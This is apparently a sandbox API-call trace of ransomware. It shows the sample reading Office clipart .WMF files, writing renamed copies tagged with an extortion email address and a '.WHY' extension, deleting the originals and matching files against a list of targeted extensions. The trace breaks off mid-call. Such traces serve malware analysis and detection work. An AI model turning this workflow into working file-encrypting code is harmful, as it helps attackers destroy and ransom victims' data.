SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0248.199] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0248.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0248.207] GetLastError () returned 0x0 [0248.207] ReadFile (in: hFile=0x3b4, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0xac4, lpOverlapped=0x0) returned 1 [0248.235] WriteFile (in: hFile=0x384, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xad0, lpOverlapped=0x0) returned 1 [0248.239] ReadFile (in: hFile=0x3b4, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0248.239] WriteFile (in: hFile=0x384, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.239] SetEndOfFile (hFile=0x384) returned 1 [0248.239] CloseHandle (hObject=0x384) returned 1 [0248.241] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0248.242] SetEndOfFile (hFile=0x3b4) returned 1 [0248.248] CloseHandle (hObject=0x3b4) returned 1 [0248.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0250.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0251.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0251.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0251.047] lstrlenW (lpString=".doc") returned 4 [0251.047] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.047] lstrlenW (lpString=".docx") returned 5 [0251.047] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.047] lstrlenW (lpString=".pdf") returned 4 [0251.047] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.047] lstrlenW (lpString=".xls") returned 4 [0251.047] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.047] lstrlenW (lpString=".xlsx") returned 5 [0251.047] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.047] lstrlenW (lpString=".ppt") returned 4 [0251.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0251.048] lstrlenW (lpString=".zip") returned 4 [0251.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.048] lstrlenW (lpString=".rar") returned 4 [0251.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.048] lstrlenW (lpString=".bz2") returned 4 [0251.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.048] lstrlenW (lpString=".7z") returned 3 [0251.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0251.048] lstrlenW (lpString=".dbf") returned 4 [0251.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0251.049] lstrlenW (lpString=".1cd") returned 4 [0251.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0251.049] lstrlenW (lpString=".jpg") returned 4 [0251.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0251.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0251.049] lstrlenW (lpString=".doc") returned 4 [0251.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.049] lstrlenW (lpString=".docx") returned 5 [0251.049] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.049] lstrlenW (lpString=".pdf") returned 4 [0251.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.049] lstrlenW (lpString=".xls") returned 4 [0251.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.050] lstrlenW (lpString=".xlsx") returned 5 [0251.050] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.050] lstrlenW (lpString=".ppt") returned 4 [0251.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0251.050] lstrlenW (lpString=".zip") returned 4 [0251.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.050] lstrlenW (lpString=".rar") returned 4 [0251.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.050] lstrlenW (lpString=".bz2") returned 4 [0251.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.050] lstrlenW (lpString=".7z") returned 3 [0251.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0251.051] lstrlenW (lpString=".dbf") returned 4 [0251.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0251.051] lstrlenW (lpString=".1cd") returned 4 [0251.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0251.051] lstrlenW (lpString=".jpg") returned 4 [0251.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.052] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0251.052] lstrlenW (lpString="AN02724_.WMF") returned 12 [0251.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0251.361] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=2108) returned 1 [0251.361] CloseHandle (hObject=0x384) returned 1 [0251.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 0x20 [0251.461] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0253.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0253.769] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0253.769] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0253.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0253.770] GetLastError () returned 0x0 [0253.770] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x83c, lpOverlapped=0x0) returned 1 [0253.818] WriteFile (in: hFile=0x354, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0x840, lpOverlapped=0x0) returned 1 [0253.821] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0253.821] WriteFile (in: hFile=0x354, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.822] SetEndOfFile (hFile=0x354) returned 1 [0253.822] CloseHandle (hObject=0x354) returned 1 [0257.466] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0257.466] SetEndOfFile (hFile=0x3bc) returned 1 [0259.471] CloseHandle (hObject=0x3bc) returned 1 [0259.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0259.511] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0259.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0259.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0259.514] lstrlenW (lpString=".doc") returned 4 [0259.514] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.514] lstrlenW (lpString=".docx") returned 5 [0259.514] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0259.514] lstrlenW (lpString=".pdf") returned 4 [0259.514] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.514] lstrlenW (lpString=".xls") returned 4 [0259.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.515] lstrlenW (lpString=".xlsx") returned 5 [0259.515] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0259.515] lstrlenW (lpString=".ppt") returned 4 [0259.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0259.515] lstrlenW (lpString=".zip") returned 4 [0259.515] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.515] lstrlenW (lpString=".rar") returned 4 [0259.516] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.516] lstrlenW (lpString=".bz2") returned 4 [0259.516] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.516] lstrlenW (lpString=".7z") returned 3 [0259.516] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0259.517] lstrlenW (lpString=".dbf") returned 4 [0259.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0259.517] lstrlenW (lpString=".1cd") returned 4 [0259.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0259.517] lstrlenW (lpString=".jpg") returned 4 [0259.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0259.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0259.518] lstrlenW (lpString=".doc") returned 4 [0259.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0259.518] lstrlenW (lpString=".docx") returned 5 [0259.518] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0259.518] lstrlenW (lpString=".pdf") returned 4 [0259.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0259.518] lstrlenW (lpString=".xls") returned 4 [0259.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0259.518] lstrlenW (lpString=".xlsx") returned 5 [0259.518] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0259.518] lstrlenW (lpString=".ppt") returned 4 [0259.518] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0259.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0259.519] lstrlenW (lpString=".zip") returned 4 [0259.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0259.519] lstrlenW (lpString=".rar") returned 4 [0259.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0259.519] lstrlenW (lpString=".bz2") returned 4 [0259.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0259.519] lstrlenW (lpString=".7z") returned 3 [0259.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0259.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0259.519] lstrlenW (lpString=".dbf") returned 4 [0259.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0259.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0259.520] lstrlenW (lpString=".1cd") returned 4 [0259.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0259.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 63 [0259.520] lstrlenW (lpString=".jpg") returned 4 [0259.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0259.520] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0259.520] lstrlenW (lpString="AN04195_.WMF") returned 12 [0259.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0259.521] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=4612) returned 1 [0259.522] CloseHandle (hObject=0x37c) returned 1 [0259.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 0x20 [0259.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0259.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0259.523] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0259.523] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0259.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0268.163] GetLastError () returned 0x0 [0268.163] ReadFile (in: hFile=0x37c, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x1204, lpOverlapped=0x0) returned 1 [0268.362] WriteFile (in: hFile=0x3c8, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0x1210, lpOverlapped=0x0) returned 1 [0268.365] ReadFile (in: hFile=0x37c, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32afed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x32afed4*=0x0, lpOverlapped=0x0) returned 1 [0268.365] WriteFile (in: hFile=0x3c8, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x32afc9c*=0xec, lpOverlapped=0x0) returned 1 [0268.366] SetEndOfFile (hFile=0x3c8) returned 1 [0268.416] CloseHandle (hObject=0x3c8) returned 1 [0268.418] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0268.418] SetEndOfFile (hFile=0x37c) returned 1 [0269.131] CloseHandle (hObject=0x37c) returned 1 [0269.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0270.096] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0271.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0271.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0271.632] lstrlenW (lpString=".doc") returned 4 [0271.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.632] lstrlenW (lpString=".docx") returned 5 [0271.632] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.632] lstrlenW (lpString=".pdf") returned 4 [0271.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.632] lstrlenW (lpString=".xls") returned 4 [0271.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.632] lstrlenW (lpString=".xlsx") returned 5 [0271.632] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.632] lstrlenW (lpString=".ppt") returned 4 [0271.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0271.633] lstrlenW (lpString=".zip") returned 4 [0271.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.633] lstrlenW (lpString=".rar") returned 4 [0271.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.633] lstrlenW (lpString=".bz2") returned 4 [0271.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.633] lstrlenW (lpString=".7z") returned 3 [0271.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0271.633] lstrlenW (lpString=".dbf") returned 4 [0271.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0271.634] lstrlenW (lpString=".1cd") returned 4 [0271.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0271.634] lstrlenW (lpString=".jpg") returned 4 [0271.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0271.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0271.634] lstrlenW (lpString=".doc") returned 4 [0271.634] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.634] lstrlenW (lpString=".docx") returned 5 [0271.634] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.635] lstrlenW (lpString=".pdf") returned 4 [0271.635] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.635] lstrlenW (lpString=".xls") returned 4 [0271.635] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.635] lstrlenW (lpString=".xlsx") returned 5 [0271.635] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.635] lstrlenW (lpString=".ppt") returned 4 [0271.635] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0271.635] lstrlenW (lpString=".zip") returned 4 [0271.635] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.635] lstrlenW (lpString=".rar") returned 4 [0271.636] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.636] lstrlenW (lpString=".bz2") returned 4 [0271.636] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.636] lstrlenW (lpString=".7z") returned 3 [0271.636] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0271.636] lstrlenW (lpString=".dbf") returned 4 [0271.636] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0271.636] lstrlenW (lpString=".1cd") returned 4 [0271.636] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0271.637] lstrlenW (lpString=".jpg") returned 4 [0271.637] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.638] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0271.638] lstrlenW (lpString="AN04225_.WMF") returned 12 [0271.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0271.755] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=8492) returned 1 [0271.755] CloseHandle (hObject=0x3a0) returned 1 [0271.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 0x20 [0271.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0271.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0271.925] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0271.925] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0271.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 